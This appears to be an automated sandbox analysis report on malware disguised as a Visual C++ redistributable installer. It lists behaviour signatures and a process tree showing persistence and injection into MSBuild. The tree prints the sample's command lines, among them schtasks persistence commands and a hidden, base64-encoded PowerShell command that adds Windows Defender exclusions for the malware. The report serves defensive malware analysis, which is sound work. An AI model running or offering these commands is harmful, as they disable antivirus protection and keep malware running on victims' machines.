Analysis
- max time kernel
149s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
23/10/2026, 12:12
General
- Target VC_redist.x64.exe
- Size 1.3MB
- Sample261023-pc7e5axyhw
- SHA256 f6b2648f4506ddc4ae02ac21cfb8cc3ec2ac0b2ce2a5a6987e5e88b757725b2a
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 3 IoCs
- Suspicious use of SetThreadContext 4 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 9 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 17 IoCs
- Suspicious use of AdjustPrivilegeToken 11 IoCs
- Suspicious use of WriteProcessMemory 24 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"1⤵
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"2⤵
- Checks computer location settings
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "sxcms" /XML "C:\Users\Admin\AppData\Local\Temp\fb121c095ca543cc9bfb9cb2ac62b23e.xml" /F3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Opcode" /XML "C:\Users\Admin\AppData\Local\Temp\0b7d4b3866b74a15aef45e0fdeb688c7.xml" /F3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABQAHIAbwBwAGEAZwBhAHQAaQBvAG4ARgBsAGEAZwBzAFwAawB1AGQAZwB4AFwATwBwAGMAbwBkAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAUAByAG8AcABhAGcAYQB0AGkAbwBuAEYAbABhAGcAcwBcAGsAdQBkAGcAeABcAE8AcABjAG8AZABlAC4AZQB4AGUAOwA=1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\PropagationFlags\kudgx\Opcode.exeC:\Users\Admin\AppData\Local\PropagationFlags\kudgx\Opcode.exe1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\PropagationFlags\kudgx\Opcode.exeC:\Users\Admin\AppData\Local\PropagationFlags\kudgx\Opcode.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\PropagationFlags\kudgx\Opcode.exe"C:\Users\Admin\AppData\Local\PropagationFlags\kudgx\Opcode.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe3⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe3⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
Opcode.exe.log
Opcode.exe
0b7d4b3866b74a15aef45e0fdeb688c7.xml
__PSScriptPolicyTest_vqzam11f.yxi.ps1
fb121c095ca543cc9bfb9cb2ac62b23e.xml
memory/2072-2256-0x000001F1744B0000-0x000001F1744D2000-memory.dmp
memory/4364-2243-0x0000000000400000-0x0000000000490000-memory.dmp
memory/4364-2244-0x0000000005480000-0x0000000005490000-memory.dmp
memory/4364-2245-0x00000000053F0000-0x0000000005460000-memory.dmp
memory/4364-2246-0x00000000054D0000-0x00000000055C8000-memory.dmp
memory/4364-2259-0x0000000005480000-0x0000000005490000-memory.dmp
memory/4652-5-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-109-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-55-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-73-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-71-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-69-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-67-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-65-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-63-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-61-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-59-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-57-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-53-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-51-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-49-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-47-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-45-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-43-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-41-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-39-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-35-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-33-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-31-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-29-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-27-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-25-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-21-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-19-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-15-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-13-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-9-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-23-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-17-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-11-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-75-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-115-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-113-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-37-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-107-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-105-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-104-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-129-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-127-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-125-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-123-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-121-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-119-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-117-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-99-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-97-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-95-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-93-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-91-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-87-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-85-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-83-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-81-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-79-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-77-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-111-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-101-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-89-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-2236-0x0000000005180000-0x0000000005190000-memory.dmp
memory/4652-7-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-4-0x0000000005190000-0x00000000052DD000-memory.dmp
memory/4652-3-0x0000000005380000-0x0000000005412000-memory.dmp
memory/4652-2-0x0000000005890000-0x0000000005E34000-memory.dmp
memory/4652-1-0x0000000005190000-0x00000000052E2000-memory.dmp
memory/4652-0-0x0000000000630000-0x0000000000788000-memory.dmp
memory/4652-2237-0x0000000005450000-0x00000000054F8000-memory.dmp
memory/4652-2238-0x0000000005520000-0x00000000055C6000-memory.dmp
memory/4652-2239-0x0000000005620000-0x000000000566C000-memory.dmp
memory/4652-2240-0x0000000005800000-0x0000000005866000-memory.dmp
memory/4652-2241-0x0000000005180000-0x0000000005190000-memory.dmp